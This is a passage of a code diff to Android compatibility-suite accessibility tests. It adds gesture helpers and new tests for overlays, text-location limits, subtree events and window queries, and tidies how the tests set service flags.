+    private GestureDescription threeFingerSingleTapAndHold(int displayId) {
+        return multiFingerMultiTapAndHold(3, 1, displayId);
+    }
+
     private GestureDescription threeFingerDoubleTap(int displayId) {
         return multiFingerMultiTap(3, 2, displayId);
     }
@@ -558,6 +577,10 @@
         return multiFingerMultiTap(3, 3, displayId);
     }
 
+    private GestureDescription threeFingerTripleTapAndHold(int displayId) {
+        return multiFingerMultiTapAndHold(3, 3, displayId);
+    }
+
     private GestureDescription fourFingerSingleTap(int displayId) {
         return multiFingerMultiTap(4, 1, displayId);
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
index d8264dc..6cd2b9b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityOverlayTest.java
@@ -33,9 +33,12 @@
 import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.Button;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.TestUtils;
+
+import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
@@ -54,7 +57,7 @@
 
     private InstrumentedAccessibilityServiceTestRule<StubAccessibilityButtonService>
             mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
-                    StubAccessibilityButtonService.class);
+            StubAccessibilityButtonService.class);
 
     private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
             new AccessibilityDumpOnFailureRule();
@@ -73,6 +76,11 @@
         sUiAutomation.setServiceInfo(info);
     }
 
+    @AfterClass
+    public static void postTestTearDown() {
+        sUiAutomation.destroy();
+    }
+
     @Before
     public void setUp() {
         mService = mServiceRule.getService();
@@ -81,7 +89,6 @@
     @Test
     public void testA11yServiceShowsOverlay_shouldAppear() throws Exception {
         final String overlayTitle = "Overlay title";
-
         sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
             addOverlayWindow(mService, overlayTitle);
         }), (event) -> findOverlayWindow(Display.DEFAULT_DISPLAY) != null, AsyncUtils.DEFAULT_TIMEOUT_MS);
@@ -91,13 +98,23 @@
 
     @Test
     public void testA11yServiceShowsOverlayOnVirtualDisplay_shouldAppear() throws Exception {
-        try (DisplayUtils.VirtualDisplaySession displaySession =
+        try (final DisplayUtils.VirtualDisplaySession displaySession =
                      new DisplayUtils.VirtualDisplaySession()) {
-            Display newDisplay = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+            final Display newDisplay = displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
                     mService, false);
             final int displayId = newDisplay.getDisplayId();
-            final Context newDisplayContext = mService.createDisplayContext(newDisplay);
             final String overlayTitle = "Overlay title on virtualDisplay";
+            // Make sure the onDisplayAdded callback of a11y framework handled by checking if the
+            // accessibilityWindowInfo list of the virtual display has been added.
+            // And the a11y default token is available after the onDisplayAdded callback handled.
+            TestUtils.waitUntil("AccessibilityWindowInfo list of the virtual display are not ready",
+                    () -> {
+                        final SparseArray<List<AccessibilityWindowInfo>> allWindows =
+                                sUiAutomation.getWindowsOnAllDisplays();
+                        return allWindows.get(displayId) != null;
+                    }
+            );
+            final Context newDisplayContext = mService.createDisplayContext(newDisplay);
 
             sUiAutomation.executeAndWaitForEvent(() -> mService.runOnServiceSync(() -> {
                 addOverlayWindow(newDisplayContext, overlayTitle);
@@ -123,8 +140,8 @@
     private AccessibilityWindowInfo findOverlayWindow(int displayId) {
         final SparseArray<List<AccessibilityWindowInfo>> allWindows =
                 sUiAutomation.getWindowsOnAllDisplays();
-        final int index = allWindows.indexOfKey(displayId);
-        final List<AccessibilityWindowInfo> windows = allWindows.valueAt(index);
+        final List<AccessibilityWindowInfo> windows = allWindows.get(displayId);
+
         if (windows != null) {
             for (AccessibilityWindowInfo window : windows) {
                 if (window.getType() == AccessibilityWindowInfo.TYPE_ACCESSIBILITY_OVERLAY) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
index f53f126..e1bf31f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
@@ -208,7 +208,7 @@
 
     private RemoteAction getRemoteAction(String pendingIntent) {
         Intent i = new Intent(pendingIntent);
-        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, 0);
+        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RemoteAction(Icon.createWithContentUri("content://test"), "test1", "test1", p);
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index 566ccac..e51888c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -279,7 +279,7 @@
                 textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
         assertNull("Text locations should not be populated by default",
                 text.getExtras().get(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
-        final Bundle getTextArgs = getTextLocationArguments(text);
+        final Bundle getTextArgs = getTextLocationArguments(text.getText().length());
         assertTrue("Refresh failed", text.refreshWithExtraData(
                 AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
         assertNodeContainsTextLocationInfoOnOneLineLTR(text);
@@ -295,7 +295,7 @@
         List<String> textAvailableExtraData = text.getAvailableExtraData();
         assertTrue("Text view should offer text location to accessibility",
                 textAvailableExtraData.contains(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY));
-        final Bundle getTextArgs = getTextLocationArguments(text);
+        final Bundle getTextArgs = getTextLocationArguments(text.getText().length());
         assertTrue("Refresh failed", text.refreshWithExtraData(
                 EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
         Parcelable[] parcelables = text.getExtras()
@@ -347,7 +347,7 @@
         final AccessibilityNodeInfo text = sUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(mActivity.getString(R.string.a_b)).get(0);
         final List<String> textAvailableExtraData = text.getAvailableExtraData();
-        final Bundle getTextArgs = getTextLocationArguments(text);
+        final Bundle getTextArgs = getTextLocationArguments(text.getText().length());
 
         // Register a request preparer that will capture the message indicating that preparation
         // is complete
@@ -404,7 +404,7 @@
         final AccessibilityNodeInfo text = sUiAutomation.getRootInActiveWindow()
                 .findAccessibilityNodeInfosByText(mActivity.getString(R.string.a_b)).get(0);
         final List<String> textAvailableExtraData = text.getAvailableExtraData();
-        final Bundle getTextArgs = getTextLocationArguments(text);
+        final Bundle getTextArgs = getTextLocationArguments(text.getText().length());
 
         // Use mockito's asynchronous signaling
         Runnable mockRunnableForPrepare = mock(Runnable.class);
@@ -442,6 +442,25 @@
     }
 
     @Test
+    public void testTextLocation_testLocationBoundary_locationShouldBeLimitationLength() {
+        final TextView textView = (TextView) mActivity.findViewById(R.id.text);
+        makeTextViewVisibleAndSetText(textView, mActivity.getString(R.string.a_b));
+
+        final AccessibilityNodeInfo text = sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByText(mActivity.getString(R.string.a_b)).get(0);
+
+        final Bundle getTextArgs = getTextLocationArguments(Integer.MAX_VALUE);
+        assertTrue("Refresh failed", text.refreshWithExtraData(
+                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY, getTextArgs));
+
+        final Parcelable[] parcelables = text.getExtras()
+                .getParcelableArray(EXTRA_DATA_TEXT_CHARACTER_LOCATION_KEY);
+        final RectF[] locations = Arrays.copyOf(parcelables, parcelables.length, RectF[].class);
+        assertEquals(locations.length,
+                AccessibilityNodeInfo.EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_MAX_LENGTH);
+    }
+
+    @Test
     public void testEditableTextView_shouldExposeAndRespondToImeEnterAction() throws Throwable {
         final TextView textView = (TextView) mActivity.findViewById(R.id.editText);
         makeTextViewVisibleAndSetText(textView, mActivity.getString(R.string.a_b));
@@ -540,10 +559,10 @@
         assertEquals(action.getLabel().toString(), label);
     }
 
-    private Bundle getTextLocationArguments(AccessibilityNodeInfo info) {
+    private Bundle getTextLocationArguments(int locationLength) {
         Bundle args = new Bundle();
         args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_START_INDEX, 0);
-        args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH, info.getText().length());
+        args.putInt(EXTRA_DATA_TEXT_CHARACTER_LOCATION_ARG_LENGTH, locationLength);
         return args;
     }
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
index 0ca307a..1e71541 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityViewTreeReportingTest.java
@@ -317,44 +317,54 @@
         assertTrue(awaitedEvent.getSource().isImportantForAccessibility());
     }
 
-
     @Test
-    public void testHideView_receiveSubtreeEvent() throws Throwable {
+    public void testSetViewInvisible_receiveSubtreeEvent() throws Throwable {
         final View view = mActivity.findViewById(R.id.secondButton);
-        AccessibilityEvent awaitedEvent =
-                sUiAutomation.executeAndWaitForEvent(
-                        () -> mActivity.runOnUiThread(() -> view.setVisibility(View.GONE)),
-                        (event) -> {
-                            boolean isContentChanged = event.getEventType()
-                                    == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
-                            int isSubTree = (event.getContentChangeTypes()
-                                    & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
-                            boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
-                                    mActivity.getPackageName());
-                            return isContentChanged && (isSubTree != 0) && isFromThisPackage;
-                        }, TIMEOUT_ASYNC_PROCESSING);
-        awaitedEvent.recycle();
+        receiveSubtreeEventWhenViewChangesVisibility(view, (View) view.getParentForAccessibility(), View.INVISIBLE);
     }
 
     @Test
-    public void testUnhideView_receiveSubtreeEvent() throws Throwable {
+    public void testSetViewGone_receiveSubtreeEvent() throws Throwable {
+        final View view = mActivity.findViewById(R.id.secondButton);
+        receiveSubtreeEventWhenViewChangesVisibility(view, (View) view.getParentForAccessibility(), View.GONE);
+    }
+
+    @Test
+    public void testSetViewVisible_receiveSubtreeEvent() throws Throwable {
         final View view = mActivity.findViewById(R.id.hiddenButton);
+        receiveSubtreeEventWhenViewChangesVisibility(view, view, View.VISIBLE);
+    }
+
+    private void receiveSubtreeEventWhenViewChangesVisibility(View view, View sendA11yEventParent,
+            int visibility) throws Throwable {
         AccessibilityEvent awaitedEvent =
                 sUiAutomation.executeAndWaitForEvent(
-                        () -> mActivity.runOnUiThread(() -> view.setVisibility(View.VISIBLE)),
+                        () -> {
+                            mActivity.runOnUiThread(() -> view.setVisibility(visibility));
+                        },
                         (event) -> {
                             boolean isContentChanged = event.getEventType()
                                     == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
-                            int isSubTree = (event.getContentChangeTypes()
-                                    & AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE);
+                            boolean isSubTree = event.getContentChangeTypes()
+                                    == AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE;
                             boolean isFromThisPackage = TextUtils.equals(event.getPackageName(),
                                     mActivity.getPackageName());
-                            return isContentChanged && (isSubTree != 0) && isFromThisPackage;
+                            boolean isFromThisNode;
+                            if (event.getSource() != null) {
+                                isFromThisNode = TextUtils.equals(
+                                        event.getSource().getViewIdResourceName(),
+                                        sInstrumentation.getTargetContext().getResources()
+                                                .getResourceName(sendA11yEventParent.getId()));
+                            } else {
+                                isFromThisNode = TextUtils.equals(event.getClassName(),
+                                        sendA11yEventParent.getAccessibilityClassName());
+                            }
+                            return isContentChanged && isSubTree && isFromThisPackage
+                                    && isFromThisNode;
                         }, TIMEOUT_ASYNC_PROCESSING);
         awaitedEvent.recycle();
     }
 
-
     private void setGetNonImportantViews(boolean getNonImportantViews) {
         AccessibilityServiceInfo serviceInfo = sUiAutomation.getServiceInfo();
         serviceInfo.flags &= ~AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 2e5ffca..a4dd8ab 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -17,14 +17,17 @@
 package android.accessibilityservice.cts;
 
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangTypesAndWindowId;
+import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangeTypesAndWindowTitle;
 import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.supportsMultiDisplay;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
-import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
 import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
+import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
@@ -35,6 +38,7 @@
 import static android.view.accessibility.AccessibilityEvent.TYPE_WINDOWS_CHANGED;
 import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED;
 import static android.view.accessibility.AccessibilityEvent.WINDOWS_CHANGE_ADDED;
+import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_ACCESSIBILITY_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_FOCUS;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_SELECTION;
 import static android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK;
@@ -67,7 +71,7 @@
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.test.suitebuilder.annotation.MediumTest;
-import android.text.TextUtils;
+import android.util.Log;
 import android.util.SparseArray;
 import android.view.Display;
 import android.view.Gravity;
@@ -83,6 +87,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.TestUtils;
 
 import org.hamcrest.Description;
@@ -139,6 +144,7 @@
         sUiAutomation = sInstrumentation.getUiAutomation();
         AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
         info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
+        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
         sUiAutomation.setServiceInfo(info);
     }
 
@@ -159,14 +165,14 @@
         // First, make the root view of the activity an accessibility node. This allows us to
         // later exclude views that are part of the activity's DecorView.
         sInstrumentation.runOnMainSync(() -> mActivity.findViewById(R.id.added_content)
-                    .setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES));
+                .setImportantForAccessibility(View.IMPORTANT_FOR_ACCESSIBILITY_YES));
 
         // Start looking from the added content instead of from the root accessibility node so
         // that nodes that we don't expect (i.e. window control buttons) are not included in the
         // list of accessibility nodes returned by findAccessibilityNodeInfosByText.
         final AccessibilityNodeInfo addedContent = sUiAutomation
                 .getRootInActiveWindow().findAccessibilityNodeInfosByViewId(CONTENT_VIEW_RES_NAME)
-                        .get(0);
+                .get(0);
 
         // find a view by text
         List<AccessibilityNodeInfo> buttons = addedContent.findAccessibilityNodeInfosByText("b");
@@ -207,9 +213,11 @@
                         "android.accessibilityservice.cts:id/button1").get(0);
 
         // Click the button to generate an event
-        AccessibilityEvent event = sUiAutomation.executeAndWaitForEvent(
-                () -> button1.performAction(ACTION_CLICK),
-                filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent event =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button1.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
         // Make sure the source window cannot be accessed.
         assertNull(event.getSource().getWindow());
@@ -218,105 +226,92 @@
     @MediumTest
     @Test
     public void testTraverseAllWindows() throws Exception {
-        setAccessInteractiveWindowsFlag();
-        try {
-            List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
-            Rect boundsInScreen = new Rect();
+        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+        Rect boundsInScreen = new Rect();
 
-            final int windowCount = windows.size();
-            for (int i = 0; i < windowCount; i++) {
-                AccessibilityWindowInfo window = windows.get(i);
-                // Skip other Apps windows since their state might not be stable while querying.
-                if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION
-                        && !TextUtils.equals(window.getTitle(), mActivity.getTitle())) {
-                    continue;
-                }
-                window.getBoundsInScreen(boundsInScreen);
-                assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, emptiness check.
-                assertNull(window.getParent());
-                assertSame(0, window.getChildCount());
-                assertNull(window.getParent());
-                assertNotNull(window.getRoot());
+        final int windowCount = windows.size();
+        for (int i = 0; i < windowCount; i++) {
+            AccessibilityWindowInfo window = windows.get(i);
 
-                if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION) {
-                    assertTrue(window.isFocused());
-                    assertTrue(window.isActive());
-                    verifyNodesInAppWindow(window.getRoot());
-                } else if (window.getType() == AccessibilityWindowInfo.TYPE_SYSTEM) {
-                    assertFalse(window.isFocused());
-                    assertFalse(window.isActive());
-                }
+            window.getBoundsInScreen(boundsInScreen);
+            assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, emptiness check.
+            assertNull(window.getParent());
+            assertSame(0, window.getChildCount());
+            assertNull(window.getParent());
+            assertNotNull(window.getRoot());
+
+            if (window.getType() == AccessibilityWindowInfo.TYPE_APPLICATION) {
+                assertTrue(window.isFocused());
+                assertTrue(window.isActive());
+                verifyNodesInAppWindow(window.getRoot());
+            } else if (window.getType() == AccessibilityWindowInfo.TYPE_SYSTEM) {
+                assertFalse(window.isFocused());
+                assertFalse(window.isActive());
             }
-        } finally {
-            clearAccessInteractiveWindowsFlag();
         }
     }
 
     @MediumTest
     @Test
     public void testTraverseWindowFromEvent() throws Exception {
-        setAccessInteractiveWindowsFlag();
-        try {
-            // Find a button to click on.
-            final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
-                    .findAccessibilityNodeInfosByViewId(
-                            "android.accessibilityservice.cts:id/button1").get(0);
+        // Find a button to click on.
+        final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button1").get(0);
 
-            // Click the button.
-            AccessibilityEvent event = sUiAutomation.executeAndWaitForEvent(
-                    () -> button1.performAction(ACTION_CLICK),
-                    filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        // Click the button.
+        AccessibilityEvent event =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button1.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
-            // Get the source window.
-            AccessibilityWindowInfo window = event.getSource().getWindow();
+        // Get the source window.
+        AccessibilityWindowInfo window = event.getSource().getWindow();
 
-            // Verify the application window.
-            Rect boundsInScreen = new Rect();
-            window.getBoundsInScreen(boundsInScreen);
-            assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, so just emptiness check
-            assertSame(window.getType(), AccessibilityWindowInfo.TYPE_APPLICATION);
-            assertTrue(window.isFocused());
-            assertTrue(window.isActive());
-            assertNull(window.getParent());
-            assertSame(0, window.getChildCount());
-            assertNotNull(window.getRoot());
+        // Verify the application window.
+        Rect boundsInScreen = new Rect();
+        window.getBoundsInScreen(boundsInScreen);
+        assertFalse(boundsInScreen.isEmpty()); // Varies on screen size, so just emptiness check
+        assertSame(window.getType(), AccessibilityWindowInfo.TYPE_APPLICATION);
+        assertTrue(window.isFocused());
+        assertTrue(window.isActive());
+        assertNull(window.getParent());
+        assertSame(0, window.getChildCount());
+        assertNotNull(window.getRoot());
 
-            // Verify the window content.
-            verifyNodesInAppWindow(window.getRoot());
-        } finally {
-            clearAccessInteractiveWindowsFlag();
-        }
+        // Verify the window content.
+        verifyNodesInAppWindow(window.getRoot());
     }
 
     @MediumTest
     @Test
     public void testInteractWithAppWindow() throws Exception {
-        setAccessInteractiveWindowsFlag();
-        try {
-            // Find a button to click on.
-            final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
-                    .findAccessibilityNodeInfosByViewId(
-                            "android.accessibilityservice.cts:id/button1").get(0);
+        // Find a button to click on.
+        final AccessibilityNodeInfo button1 = sUiAutomation.getRootInActiveWindow()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button1").get(0);
 
-            // Click the button.
-            AccessibilityEvent event = sUiAutomation.executeAndWaitForEvent(
-                    () -> button1.performAction(ACTION_CLICK),
-                    filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        // Click the button.
+        AccessibilityEvent event =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button1.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
-            // Get the source window.
-            AccessibilityWindowInfo window = event.getSource().getWindow();
+        // Get the source window.
+        AccessibilityWindowInfo window = event.getSource().getWindow();
 
-            // Find a another button from the event's window.
-            final AccessibilityNodeInfo button2 = window.getRoot()
-                    .findAccessibilityNodeInfosByViewId(
-                            "android.accessibilityservice.cts:id/button2").get(0);
+        // Find a another button from the event's window.
+        final AccessibilityNodeInfo button2 = window.getRoot()
+                .findAccessibilityNodeInfosByViewId(
+                        "android.accessibilityservice.cts:id/button2").get(0);
 
-            // Click the second button.
-            sUiAutomation.executeAndWaitForEvent(() -> button2.performAction(ACTION_CLICK),
-                    filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
-        } finally {
-            clearAccessInteractiveWindowsFlag();
-        }
+        // Click the second button.
+        sUiAutomation.executeAndWaitForEvent(
+                () -> button2.performAction(ACTION_CLICK),
+                filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                DEFAULT_TIMEOUT_MS);
     }
 
     @MediumTest
@@ -354,7 +349,6 @@
             }
         } finally {
             ensureAccessibilityFocusCleared();
-            clearAccessInteractiveWindowsFlag();
         }
     }
 
@@ -439,9 +433,11 @@
         assertFalse(button.isSelected());
 
         // Perform an action and wait for an event
-        AccessibilityEvent expected = sUiAutomation.executeAndWaitForEvent(
-                () -> button.performAction(ACTION_CLICK),
-                filterForEventType(TYPE_VIEW_CLICKED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent expected =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button.performAction(ACTION_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_CLICKED, ACTION_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
         // Make sure the expected event was received.
         assertNotNull(expected);
@@ -457,9 +453,11 @@
         assertFalse(button.isSelected());
 
         // Perform an action and wait for an event.
-        AccessibilityEvent expected = sUiAutomation.executeAndWaitForEvent(
-                () -> button.performAction(ACTION_LONG_CLICK),
-                filterForEventType(TYPE_VIEW_LONG_CLICKED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent expected =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button.performAction(ACTION_LONG_CLICK),
+                        filterForEventTypeWithAction(TYPE_VIEW_LONG_CLICKED, ACTION_LONG_CLICK),
+                        DEFAULT_TIMEOUT_MS);
 
         // Make sure the expected event was received.
         assertNotNull(expected);
@@ -498,9 +496,11 @@
         assertFalse(button.isSelected());
 
         // focus and wait for the event
-        AccessibilityEvent awaitedEvent = sUiAutomation
-                .executeAndWaitForEvent(() -> button.performAction(ACTION_FOCUS),
-                        filterForEventType(TYPE_VIEW_FOCUSED), DEFAULT_TIMEOUT_MS);
+        AccessibilityEvent awaitedEvent =
+                sUiAutomation.executeAndWaitForEvent(
+                        () -> button.performAction(ACTION_FOCUS),
+                        filterForEventTypeWithAction(TYPE_VIEW_FOCUSED, ACTION_FOCUS),
+                        DEFAULT_TIMEOUT_MS);
 
         assertNotNull(awaitedEvent);
 
@@ -573,7 +573,7 @@
     public void testToggleSplitScreen() throws Exception {
         assumeTrue(
                 "Skipping test: no multi-window support",
-                ActivityTaskManager.supportsSplitScreenMultiWindow(sInstrumentation.getContext()));
+                ActivityTaskManager.supportsSplitScreenMultiWindow(mActivity));
 
         final int initialWindowingMode =
                 mActivity.getResources().getConfiguration().windowConfiguration.getWindowingMode();
@@ -710,6 +710,41 @@
         }
     }
 
+    @Test
+    public void testShowInputMethodDialogWindow_resultIsApplicationType()
+            throws TimeoutException {
+        final WindowManager wm =
+                sInstrumentation.getContext().getSystemService(WindowManager.class);
+        final View view = new View(sInstrumentation.getContext());
+        final String windowTitle = "Input Method Dialog";
+
+        try {
+            sUiAutomation.executeAndWaitForEvent(() -> sInstrumentation.runOnMainSync(
+                    () -> {
+                        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                                WindowManager.LayoutParams.TYPE_INPUT_METHOD_DIALOG);
+                        params.accessibilityTitle = windowTitle;
+
+                        SystemUtil.runWithShellPermissionIdentity(
+                                () -> wm.addView(view, params),
+                                "android.permission.INTERNAL_SYSTEM_WINDOW");
+                    }),
+                    filterWindowsChangeTypesAndWindowTitle(sUiAutomation,
+                            WINDOWS_CHANGE_ADDED, windowTitle), DEFAULT_TIMEOUT_MS);
+
+
+            final List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+            assertTrue(windows.stream().anyMatch(window -> window.getType()
+                    == AccessibilityWindowInfo.TYPE_APPLICATION));
+        } finally {
+            try {
+                wm.removeView(view);
+            } catch (IllegalStateException e) {
+                Log.e(LOG_TAG, "remove view fail:" + e.toString());
+            }
+        }
+    }
+
     private AccessibilityWindowInfo findWindow(List<AccessibilityWindowInfo> windows,
             int btnTextRes) {
         return windows.stream()
@@ -778,7 +813,7 @@
 
         final AccessibilityWindowInfo finalFocusTarget = focusTarget;
         sUiAutomation.executeAndWaitForEvent(() -> assertTrue(finalFocusTarget.getRoot()
-                .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS)),
+                        .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS)),
                 filterWindowsChangTypesAndWindowId(finalFocusTarget.getId(),
                         WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED),
                 DEFAULT_TIMEOUT_MS);
@@ -794,11 +829,10 @@
     }
 
     private View[] addTwoAppPanelWindows(Activity activity) throws TimeoutException {
-        setAccessInteractiveWindowsFlag();
         sUiAutomation
                 .waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
 
-        return new View[] {
+        return new View[]{
                 addWindow(R.string.button1, params -> {
                     params.gravity = Gravity.TOP;
                     params.y = getStatusBarHeight(activity);
@@ -834,34 +868,27 @@
         return result.get();
     }
 
-    private void setAccessInteractiveWindowsFlag () {
-        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
-        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
-        sUiAutomation.setServiceInfo(info);
-    }
-
-    private void clearAccessInteractiveWindowsFlag () {
-        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
-        info.flags &= ~AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
-        sUiAutomation.setServiceInfo(info);
-    }
-
     private void ensureAccessibilityFocusCleared() {
         try {
-            sUiAutomation.executeAndWaitForEvent(() -> {
-                List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
-                final int windowCount = windows.size();
-                for (int i = 0; i < windowCount; i++) {
